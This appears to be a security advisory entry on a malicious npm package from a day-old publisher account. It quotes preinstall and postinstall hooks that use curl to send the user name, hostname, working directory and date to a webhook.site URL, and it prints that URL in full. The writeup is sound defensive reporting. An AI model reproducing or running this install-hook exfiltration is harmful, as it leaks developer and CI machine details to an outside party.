GCVE-110-OSM-2026-9203

This package implements a classic install-time exfiltration attack. Both preinstall and postinstall hooks execute `curl -s` against a webhook.site endpoint, transmitting `$(whoami)`, `$(hostname)`, `$PWD`, and `$(date)` — standard system reconnaissance exfiltrated on package install. The webhook URL `https://webhook.site/d80b4602-8a87-4693-8510-6ff77c62788e/blots` is recovered in plaintext with no obfuscation, and the attacker model is unambiguous: fingerprint the developer/CI machine the moment the package is installed. The publisher account 'isirli' is less than a day old, has only two packages (toll_free and voicemail — both suspicious names in this context), and the package has zero legitimate metadata. There is no plausible legitimate explanation for a no-description, no-repository package that fires curl-based environment exfiltration on install. ENTRY - Preinstall Script in package.json: ""preinstall": "curl -s \"" - Postinstall Script in package.json: ""postinstall": "curl -s \"" DESTINATION - webhookServices: https://webhook.site/d80b4602-8a87-4693-8510-6ff77c62788e/blots?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date (exfil, plaintext) EXFIL - OAST/Interactsh Exfiltration in package.json: "webhook.site" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account